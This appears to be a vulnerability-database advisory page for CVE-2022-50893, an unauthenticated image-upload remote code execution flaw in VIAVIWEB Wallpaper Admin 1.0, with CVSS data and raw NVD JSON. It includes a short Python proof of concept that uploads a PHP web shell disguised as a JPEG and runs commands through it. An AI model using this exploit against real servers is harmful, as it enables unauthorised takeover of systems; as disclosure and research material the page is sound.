Security Vulnerability Report
中文
CVE-2022-50893 CVSS 9.8 CRITICAL

CVE-2022-50893

Published: 2026-01-13 23:15:51
Last Modified: 2026-01-22 20:13:41

Description

VIAVIWEB Wallpaper Admin 1.0 contains an unauthenticated remote code execution vulnerability in the image upload functionality. Attackers can upload a malicious PHP file through the add_gallery_image.php endpoint to execute arbitrary code on the server.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:viaviweb:wallpaper_admin:1.0:*:*:*:*:*:*:* - VULNERABLE
VIAVIWEB Wallpaper Admin 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2022-50893 PoC - VIAVIWEB Wallpaper Admin RCE # Target: /add_gallery_image.php endpoint target_url = "http://target.com/add_gallery_image.php" # Create malicious PHP payload php_payload = "<?php system($_GET['cmd']); ?>" # Create multipart form data with malicious file files = { 'image': ('shell.php', php_payload, 'image/jpeg') } # Send upload request without authentication response = requests.post(target_url, files=files) if response.status_code == 200: print("[+] File uploaded successfully!") # Try to execute command shell_url = "http://target.com/uploads/shell.php" cmd_response = requests.get(f"{shell_url}?cmd=whoami") print(f"[+] Command output: {cmd_response.text}") else: print("[-] Upload failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50893", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:15:50.927", "lastModified": "2026-01-22T20:13:41.477", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "VIAVIWEB Wallpaper Admin 1.0 contains an unauthenticated remote code execution vulnerability in the image upload functionality. Attackers can upload a malicious PHP file through the add_gallery_image.php endpoint to execute arbitrary code on the server."}, {"lang": "es", "value": "VIAVIWEB Wallpaper Admin 1.0 contiene una vulnerabilidad de ejecución remota de código sin autenticación en la funcionalidad de carga de imágenes. Los atacantes pueden cargar un archivo PHP malicioso a través del endpoint add_gallery_image.php para ejecutar código arbitrario en el servidor."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:viaviweb:wallpaper_admin:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "CDB42A78-EAEC-481B-8A13-F5218CE66B45"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/51033", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.viaviweb.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/viaviweb-wallpaper-admin-code-execution-via-image-upload", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}